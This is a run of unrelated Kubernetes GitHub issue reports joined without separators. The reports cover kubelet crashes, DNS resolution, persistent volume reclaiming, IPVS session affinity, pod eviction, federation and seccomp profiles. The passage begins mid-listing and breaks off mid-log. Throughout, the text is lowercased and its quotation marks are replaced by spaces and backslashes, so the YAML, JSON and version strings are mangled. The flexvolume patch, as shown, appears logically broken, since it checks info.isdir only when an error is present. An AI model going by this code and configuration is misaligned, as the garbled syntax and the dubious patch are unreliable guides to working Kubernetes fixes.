1274 journalctl -k -f\r            ├─  1739 journalctl -k -f\r            ├─  1894 journalctl -k -f\r            ├─  2071 journalctl -k -f\r            ├─  2229 journalctl -k -f\r            ├─  2398 journalctl -k -f\r            ├─  2554 journalctl -k -f\r            ├─  2767 journalctl -k -f\r            ├─  2961 journalctl -k -f\r            ├─  3137 journalctl -k -f\r            ├─  3301 journalctl -k -f\r            ├─  3450 journalctl -k -f\r            ├─  3625 journalctl -k -f\r            ├─  3810 journalctl -k -f\r            ├─  3979 journalctl -k -f\r            ├─  5186 journalctl -k -f\r            ├─  6360 journalctl -k -f\r            ├─  6527 journalctl -k -f\r            ├─  6709 journalctl -k -f\r            ├─  6876 journalctl -k -f\r            ├─  7033 journalctl -k -f\r    \r \r previous related bugs:\r https://github.com/kubernetes/kubernetes/issues/37348\r https://github.com/kubernetes/kubernetes/issues/10421\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release :\r      cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r      uname -a\r linux test0shared0-samminionatlasdir1-1-prd.eng.sfdc.net 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r

 \r   what happened  :\r  kubectl get deploy --experimental-server-print  returns only name and creation timestamp.\r \r   what you expected to happen  :\r the server side print should return columns exactly the same as regular print we have right now.\r \r  /assign soltysh

the tests are failing in http://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.9-master-upgrade-master\r \r  / /  /status approved-for-milestone\r \r cc @jdumars @jberkus\r /assign @piosz @fabxc\r also cc @dashpole for cadvisor i guess

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r if a new file is introduced in the flexvolume driver directory then quickly deleted, a race condition would occur causing segmentation violation and crashing kubelet.\r \r   what you expected to happen  :\r no crashes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it is a race condition. a file needs to be created then deleted many times until the kubelet crashes.\r \r   anything else we need to know?  :\r patch:\r    patch\r --- a/pkg/volume/flexvolume/probe.go\r +++ b/pkg/volume/flexvolume/probe.go\r @@ -176,9 +176,11 @@ func  prober  flexvolumeprober  updateprobeneeded   {\r  // on its parent directory.\r  func  prober  flexvolumeprober  addwatchrecursive filename string  error {\r         addwatch := func path string, info os.fileinfo, err error  error {\r -               if info.isdir   {\r -                       if err := prober.watcher.addwatch path ; err != nil {\r -                               glog.errorf \ error recursively adding watch: %v\ , err \r +               if err != nil {\r +                       if info.isdir   {\r +                               if err := prober.watcher.addwatch path ; err != nil {\r +                                       glog.errorf \ error recursively adding watch: %v\ , err \r +                               }\r                         }\r                 }\r                 return nil\r    \r \r crash log:\r    \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : panic: runtime error: invalid memory address or nil pointer dereference\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x310e75f \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : goroutine 113  running :\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/volume/flexvolume.  flexvolumeprober .addwatchrecursive.func1 0xc422965000, 0x3d, 0x0, 0x0, 0x9afbf60, 0xc421d04030, 0x0, 0x10 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/flexvolume/probe.go:179 +0x2f\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : path/filepath.walk 0xc422965000, 0x3d, 0xc423ce80e0, 0xc420a515d0, 0xc420c74270 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /usr/local/go/src/path/filepath/path.go:396 +0x8f\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/util/filesystem.defaultfs.walk 0xc422965000, 0x3d, 0xc423ce80e0, 0x41fe020, 0x1 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/filesystem/defaultfs.go:86 +0x3f\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/util/filesystem.  defaultfs .walk 0x9e89e28, 0xc422965000, 0x3d, 0xc423ce80e0, 0x1d, 0x0 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         <autogenerated>:27 +0x63\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/volume/flexvolume.  flexvolumeprober .addwatchrecursive 0xc42062dab0, 0xc422965000, 0x3d, 0x1d, 0x0 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/flexvolume/probe.go:186 +0x89\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/volume/flexvolume.  flexvolumeprober .handlewatchevent 0xc42062dab0, 0xc422965000, 0x3d, 0xc400000001, 0x43d055, 0xc42138dee8 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/flexvolume/probe.go:146 +0x14d\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/volume/flexvolume.  flexvolumeprober .initwatcher.func1 0xc422965000, 0x3d, 0xc400000001 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/flexvolume/probe.go:193 +0x4a\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : k8s.io/kubernetes/pkg/util/filesystem.  fsnotifywatcher .run.func1 0xc420b003a0 \r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/filesystem/watcher.go:80 +0x145\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 : created by k8s.io/kubernetes/pkg/util/filesystem.  fsnotifywatcher .run\r mar 05 23:38:22 k8s-agentpool0-31135900-0 docker 7361 :         /workspace/anago-v1.8.7-beta.0.34+b30876a5539f09/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/filesystem/watcher.go:88 +0x3f\r mar 05 23:38:23 k8s-agentpool0-31135900-0 systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r mar 05 23:38:23 k8s-agentpool0-31135900-0 systemd 1 : kubelet.service: unit entered failed state.\r mar 05 23:38:23 k8s-agentpool0-31135900-0 systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.7 - applies to all\r - cloud provider or hardware configuration: azure acs\r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  :  linux k8s-agentpool0-31135900-0 4.13.0-1011-azure  14-ubuntu smp thu feb 15 16:15:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

\r \r  \r \r   what happened  :\r \r cannot resolve cluster-external names\r nslookup google.com\r nslookup: can't resolve ' null ': name does not resolve\r \r nslookup: can't resolve 'google.com': name does not resolve\r \r \r   what you expected to happen  :\r \r be able to resolve\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with:\r   dnspolicy: clusterfirst\r \r   anything else we need to know?  :\r cat /etc/resolv.conf\r nameserver 10.96.0.10\r search weave.svc.cluster.local svc.cluster.local cluster.local lan.davidkarlsen.com davidkarlsen.com\r options ndots:5 <-- this should not be there\r \r if removing ndots:5 it will be able to resolve external adresses as expected according to policy\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r kubeadm / bare metal\r \r - os  e.g. from /etc/os-release :\r cat /etc/os-release \r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r \r - kernel  e.g.  uname -a  :\r uname -a\r linux main.davidkarlsen.com 4.15.0-22-generic  24-ubuntu smp wed may 16 12:15:17 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubeadm\r \r - others:\r kubectl --namespace kube-system get cm/kube-dns -o yaml\r apiversion: v1\r data:\r   upstreamnameservers: |\r      \ 192.168.3.2\  \r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ stubdomains\ :\ {\\\ lan.davidkarlsen.com\\\ :  \\\ 192.168.3.2\\\  }\ \ ,\ upstreamnameservers\ :\  \\\ 192.168.3.2\\\ , \\\ 8.8.4.4\\\ , \\\ 8.8.8.8\\\  \ \ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ kube-dns\ ,\ namespace\ :\ kube-system\ }}\r   creationtimestamp: 2018-05-28t07:58:16z\r   name: kube-dns\r   namespace: kube-system\r   resourceversion: \ 3162037\ \r   selflink: /api/v1/namespaces/kube-system/configmaps/kube-dns\r   uid: e0dd4d17-624c-11e8-8edc-00902755ddee\r \r cat /etc/resolv.conf \r nameserver 192.168.3.2\r search lan.davidkarlsen.com davidkarlsen.com\r \r  192.168.3.2 uses upstream dns-servers and is able to resolve.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r 1. i create a pod with local volume\r 2. the scheduler start to do bind, it will make pv pv.spec.claimref.name = pvc.name\r 3. pv controller will call syncvolume to make pv bound , then syncclaim will make pvc bound.\r but from the log, i find that after step 2, pv controller start to reclaim the pv  because pvc not in cache.\r logs:\r \r    \r i0717 04:49:39.293155       1 pv_controller.go:542  volume \ lv-4bfd1301-4ad0-4059-aedf-972b47cfda1d\  is released and reclaim policy \ delete\  will be executed\r i0717 04:49:42.962430       1 pv_controller.go:754  volume \ lv-4bfd1301-4ad0-4059-aedf-972b47cfda1d\  entered phase \ released\ \r i0717 04:49:43.111046       1 pv_controller.go:1220  isvolumereleased lv-4bfd1301-4ad0-4059-aedf-972b47cfda1d : volume is released\r i0717 04:50:13.858894       1 pv_controller.go:754  volume \ lv-4bfd1301-4ad0-4059-aedf-972b47cfda1d\  entered phase \ available\ \r \r i0717 04:51:41.242761       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ monstor-internal\ , name:\ largekeyspace2-32574-na-na-slc-59971-document-data-hidden-d27br0-data\ , uid:\ ad721ff5-897c-11e8-bd69-3cfdfe54b0d8\ , apiversion:\ v1\ , resourceversion:\ 3639800376\ , fieldpath:\ \ } : type: 'normal' reason: 'waitforfirstconsumer' waiting for first consumer to be created before binding\r i0717 04:51:52.088251       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ monstor-internal\ , name:\ largekeyspace2-32574-na-na-slc-59971-document-data-hidden-d27br0-data\ , uid:\ ad721ff5-897c-11e8-bd69-3cfdfe54b0d8\ , apiversion:\ v1\ , resourceversion:\ 3639800376\ , fieldpath:\ \ } : type: 'normal' reason: 'waitforfirstconsumer' waiting for first consumer to be created before binding\r i0717 04:54:11.839976       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ monstor-internal\ , name:\ largekeyspace2-32574-na-na-slc-59971-document-data-hidden-d27br0-data\ , uid:\ ad721ff5-897c-11e8-bd69-3cfdfe54b0d8\ , apiversion:\ v1\ , resourceversion:\ 3639800376\ , fieldpath:\ \ } : type: 'normal' reason: 'waitforfirstconsumer' waiting for first consumer to be created before binding\r    \r we can see after pv reclaimed, then the logs related with pvc start to print out.\r \r i know kube-scheduler will wait for the pvc to be bound, then it will be scheduled again in this situation. but  is there  a better way  to handle this situation  at pv_controller? \r @msau42 \r \r \r   what you expected to happen  :\r pv not reclaimed. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create pod and  local volume pvc in large scale\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r k8s 1.9\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r currently, i have the following setup in place:\r 2 pods with shared volume, the volume is provided from a persistentvolumeclaim object that provided by dynamic allocation that is backed up by a storageclass object based on aws-efs provisioner. \r this architecture is seemed to be working well for me as i don't need to manage by myself the persistentvolume allocation as the dynamic allocation takes care of it by itself. \r \r but consider the following scenario:\r the entire kubernetes cluster is deleted and all i got left is the efs. when working with static storage allocation i can apply the app's  .yaml files at the newly created kubernetes cluster and the app will have its lost storage all set up. when working with dynamic storage allocation after deploying a new cluster,  how will i be able to automatically connect the pods to the right persistent volumes?\r \r i would like to be clear that my questing is about how a dynamic storage allocation is useful when considering all kubernetes cluster is lost and all is left is the persistent storage.  \r \r the pods:\r    \r  ---\r  apiversion: extensions/v1beta1\r  kind: deployment\r  metadata:\r    name: airflow\r  spec:\r    replicas: 2\r    selector:\r      matchlabels:\r        app: airflow\r    template:\r      metadata:\r        labels:\r          app: airflow\r      spec:\r        containers:\r        - name: airflow\r          image: puckel/docker-airflow\r          volumemounts:\r          - name: efs-airflow-pvc\r            mountpath: \ /usr/local/airflow/dags\ \r        volumes:\r        - name: efs-airflow-pvc\r          persistentvolumeclaim:\r            claimname: efs-airflow-pvc\r     \r   the storage class:\r    \r  ---\r  kind: storageclass\r  apiversion: storage.k8s.io/v1\r  metadata:\r    name: aws-efs\r  provisioner: example.com/aws-efs\r reclaimpolicy: retain\r    \r \r the pvc:\r    \r  ---\r  kind: persistentvolumeclaim\r  apiversion: v1\r  metadata:\r    name: efs-airflow-pvc\r    namespace: airflow\r    annotations:\r      volume.beta.kubernetes.io/storage-class: \ aws-efs\ \r  spec:\r    accessmodes:\r    - readwritemany\r    resources:\r      requests:\r        storage: 50mi\r    \r   what you expected to happen  :\r to have some way to automatically manage the connections between the new kubernetes cluster and the already existing pvs on the efs.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r create a cluster, deploy a pod with pvc, the pvc is dynamically managed with efs provisioner storageclass, delete the cluster and try to restore the connection between the newly deployed pod and the existing pv on the efs. \r   environment  :\r - kubernetes version - aws aks - latest\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r after updating the pods backing a service with sessionaffinity set, all communications to the service stopped working.\r \r   what you expected to happen  :\r communications should continue to work\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1- create a service with  sessionaffinity: clientip  backed by a deployment of a single pod\r 2- connect to the service from a pod\r 3- delete the pod and wait for it to recreate\r \r when trying to reconnect to the service all packets will be lost until the real server is removed because the persistency remains regardless of  weight=0 . in addition, if the client keeps retrying, the number of connections to the real server will never reach 0 and it will not be deleted  until the persistency timeout expires, which by default takes 3h \r \r   anything else we need to know?  :\r i did some testing and setting  net.ipv4.vs.expire_quiescent_template=1  fixes the issue. i'll create a pr tomorrow  including some changes discussed in  71358 which are related \r \r   environment  :\r - kubernetes version  use  kubectl version  : kube-proxy  v1.13.0-alpha.3 \r - os  e.g. from /etc/os-release :  ubuntu 18.04.1 lts \r - kernel  e.g.  uname -a  :  linux ip-10-128-212-113 4.15.0-1023-aws  23-ubuntu smp mon sep 24 16:31:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r /area ipvs\r   \r /assign @m1093782566

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : we have set up a kubernetes cluster version 1.13 using kubespray on baremetal. currently, there are 3 masters and 3 workers. we have deployed some services with 3 replicas. we are using nodeport to expose services. now the issue is that some of the services are not available on all the masters using nodeports, they are available on some of the masters only. my understanding is that if we expose services using nodeport then it should be available through all the masters and workers.\r \r   what you expected to happen  : my understanding is that if we expose services using nodeport then it should be available through all the masters and workers. \r \r   how to reproduce it  as minimally and precisely as possible   : \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.0\r - cloud provider or hardware configuration: rhel 7.6\r - os  e.g. from /etc/os-release : rhel 7.6\r - kernel  e.g.  uname -a  : 3.10.0-957.1.3.el7.x86_64\r - install tools: \r - others:\r

what would you like to be added  :\r \r it would be great if there would be a generic way to identify if v1/service is done provisioning and ready to be used  not implying that endpoints are ready to be used; may be \ ready\  is not a good name for this .\r \r   why is this needed  :\r \r when writing deployment software such as helm it would be nice to avoid having api client figure out when service is ready. example:\r \r https://github.com/helm/helm/blob/4634f5f2faa0caa7de390c95c7d27be22d56a156/pkg/kube/wait.go l212-l231\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r eviction manager evicts the below static and critical pod when the node observed memorypressure.\r the k8s server version is v1.13.2, and the pod  enabled.\r \r    yaml\r name:               node-prober-worker-7c8f45f1-zczzz-caas-m22qk-test\r namespace:          kube-system\r priority:           2000001000\r priorityclassname:  system-node-critical\r ...\r annotations:        kubernetes.io/config.source: file\r ...\r status:             failed\r reason:             evicted\r message:            the node was low on resource: memory. container bph was using 11896ki, which exceeds its request of 0. \r ...\r    \r \r as far as i can see, the eviction manager does not evict such pods.\r https://github.com/kubernetes/kubernetes/blob/6cea9266dcfb89d1d278d102885c03b11dbe26fc/pkg/kubelet/eviction/eviction_manager.go l547\r \r   what you expected to happen  :\r \r static pods with  systemcriticalpriority  are not deleted as well as those with a critical pod annotation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. boot pod with system-node-critical  by kubelet  --pod-manifest-path  option\r 2. apply memory load to the target node until eviction manager observes memory pressure.\r 3. the critical and static pod is evicted.\r \r   anything else we need to know?  :\r \r when i set critical-pod annotation  and enables  experimentalcriticalpodannotation   insted of pod priority, the eviction manager   does not   evict the static and critical pod.\r \r    \r jan 31 05:23:29 worker-7c8f45f1-zczzz-test-m22qk-test kubelet-wrapper 10083 : i0131 05:23:29.942701   10083 eviction_manager.go:358  eviction manager: pods ranked for eviction: node-prober-worker-7c8f45f1-zczzz-test-m22qk-test_kube-system 70eede23a9faee60311f7ee4a0d6457e , stress1-67f94bb9cf-m4qkx_kube-system 480601e2-2518-11e9-9b99-fa163efcff57 , stress1-67f94bb9cf-72qxp_kube-system 0b77dd77-2518-11e9-9b99-fa163efcff57 , stress1-67f94bb9cf-qtnt4_kube-system 0b7cc794-2518-11e9-9b99-fa163efcff57 , stress1-67f94bb9cf-6fg72_kube-system 0b7ae76f-2518-11e9-9b99-fa163efcff57 , stress1-67f94bb9cf-f7r8j_kube-system 0b7cd495-2518-11e9-9b99-fa163efcff57 , stress1-67f94bb9cf-t5n9g_kube-system 49738ffc-2518-11e9-9b99-fa163efcff57 , pod-network-problem-detector-tw9f6_kube-system f0ba6ab2-2517-11e9-9b99-fa163efcff57 , node-exporter-z49dm_kube-system f0ba7978-2517-11e9-9b99-fa163efcff57 , container-log-forwarder-s6z7s_kube-system f6b56829-2517-11e9-9b99-fa163efcff57 \r jan 31 05:23:29 worker-7c8f45f1-zczzz-test-m22qk-test kubelet-wrapper 10083 : e0131 05:23:29.942727   10083 eviction_manager.go:548  eviction manager: cannot evict a critical static pod node-prober-worker-7c8f45f1-zczzz-test-m22qk-test_kube-system 70eede23a9faee60311f7ee4a0d6457e \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.2\r - cloud provider or hardware configuration: baremetal\r

what happened  :\r the webhook e2e tests each set up admission webhooks that exhibit a variety of behavior  denying requests, changing objects, intentionally timing out, etc \r \r some of them scope themselves to specific namespaces, but many do not.\r \r that means that when run in parallel, interference is possible.\r \r   what you expected to happen  :\r \r each admission webhook scopes itself to a specific namespace and/or object selector to avoid interfering with any other tests running in parallel.\r \r /cc @sttts @roycaihw

i have a coreos-based cluster based on 0.17 and would love to upgrade to more recent versions.

like the option -p in docker, a random publish port will be allocated. is there a working way in the kubernetes to achieve the same? i see the \ hostport\  in the pod can be used to specify the publish port, but when doing scaling in the same node, this would run into port collision.

right now, when users create federation resources  for ex: services, namespaces , we create them in federation control plane and all underlying kubernetes clusters. we need to enable users to be able to specify a subset of kubernetes clusters in which that resource should be created.\r for ex: while registering a cluster, user needs to create a secret with kubeconfig for that cluster. this secret is required only in the federation control plane and not in the underlying kubernetes cluster. we need a way for users to specify that this secret should not be created in any of the underlying kubernetes clusters.\r \r proposal: support annotation with key  federation.beta.kubernetes.io/cluster-selector . value will be a struct clusterselector which be exactly same as  nodeselector  https://github.com/kubernetes/kubernetes/blob/ed763b8034eebb84dd3682ab0230276b1bb23845/pkg/api/v1/types.go l1406 .\r all federation controllers will be looking for this annotation to decide in which kubernetes clusters should that resource be created.\r note: if the create request was sent to federation apiserver, then the resource will always be created in federation control plane. this cluster selector is to decide in which kubernetes clusters should the resource be created in.\r \r work items:\r -     define clusterselector in the api.\r -     update existing federation controllers to honor the annotation  just services controller for now \r

in our  glusterfs storage manager  https://github.com/heketi/heketi  we are contemplating changing our license from apache 2 to lpgl 3.  currently this code is used in the  vendor/...  https://github.com/kubernetes/kubernetes/tree/master/vendor/github.com/heketi/heketi  for the storage dynamic provisioner of glusterfs.  would there be any conflicts if we change license?  i also noticed that the  yaml  https://github.com/kubernetes/kubernetes/blob/master/vendor/gopkg.in/yaml.v2/readme.md  code is currently using a lgpl3 with a clause to allow static linking, although they changed their license in their  repo to apache 2  https://github.com/go-yaml/yaml/commits/v2/license .

seccomp profile is passed to runtime by  annotations  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/api/v1alpha1/runtime/api.proto l244  in cri:\r \r    \r     // 2. seccomp\r     //\r     //      key: security.alpha.kubernetes.io/seccomp/pod\r     //      description: the seccomp profile for the containers of an entire pod.\r     //      value: see below.\r     //\r     //      key: security.alpha.kubernetes.io/seccomp/container/<container name>\r     //      description: the seccomp profile for the container  overides pod .\r     //      values: see below\r     //\r     //      the value of seccomp is runtime agnostic:\r     //        runtime/default: the default profile for the container runtime\r     //        unconfined: unconfined profile, ie, no seccomp sandboxing\r     //        localhost/<profile-name>: the profile installed to the node's\r     //        local seccomp profile root\r    \r \r  localhost/<profile-name>  is relative to node's local seccomp profile root, it is defined in kubelet. but runtime doesn't know it. we should pass full profile path in cri. \r \r cc/ @yujuhong @kubernetes/sig-node \r \r will file a pr to fix this later.

is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce + on-prem with kubeadm\r \r   what happened  :\r after creating a cluster in a hybrid federation as in  here  https://github.com/henriquetruta/hybrid-k8s-federation/ create-cluster , the  ingress_uid  configmap is not correctly created in the new cluster, and the controller manager keeps complaining. we need to create it by hand as in  here  https://github.com/henriquetruta/hybrid-k8s-federation/ create-ingress-configmap-in-local \r \r   what you expected to happen  :\r that this ingress is created automatically, as soon as i create the cluster, or in other step.\r \r   how to reproduce it    as minimally and precisely as possible :\r follow the steps on this  repo  https://github.com/henriquetruta/hybrid-k8s-federation \r \r

originally discussed here: https://kubernetes.slackarchive.io/kubernetes-users/page-100/ts-1490792092215676\r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : failedscheduling \ not found\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:20:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.1\ , gitcommit:\ 3ed7d0f453a5517245d32a9c57c39b946e578821\ , gittreestate:\ clean\ , builddate:\ 2017-01-18t01:43:45z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  : coreos\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release :   container linux by coreos 1235.9.0  ladybug  \r -   kernel    e.g.  uname -a  :  linux kubernetes-cit-kubernetes-cr2-2-1490788943 4.7.3-coreos-r2  1 smp thu feb 2 02:26:10 utc 2017 x86_64 intel xeon e312xx  sandy bridge  genuineintel gnu/linux \r -   install tools  : custom/self-hosted\r -   others  :\r \r \r   what happened  :\r after a rolling upgrade in openstack  i.e. a complete replacement, all of the old nodes were deleted , the scheduler stopped being able to schedule  any  pods:\r    \r e0329 12:50:13.640534       1 factory.go:583  error scheduling kube-system kube-scheduler-1480708505-8jrbk: node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found; retrying\r i0329 12:50:13.640610       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-scheduler-1480708505-8jrbk\ , uid:\ fec110b8-1477-11e7-ab4c-fa163e1913d3\ , apiversion:\ v1\ , resourceversion:\ 59476545\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found\r e0329 12:50:13.742129       1 factory.go:583  error scheduling log-aggregation kafka-server-0: node 'kubernetes-cit-kubernetes-cr1-0-1490206280' not found; retrying\r i0329 12:50:13.742224       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ log-aggregation\ , name:\ kafka-server-0\ , uid:\ 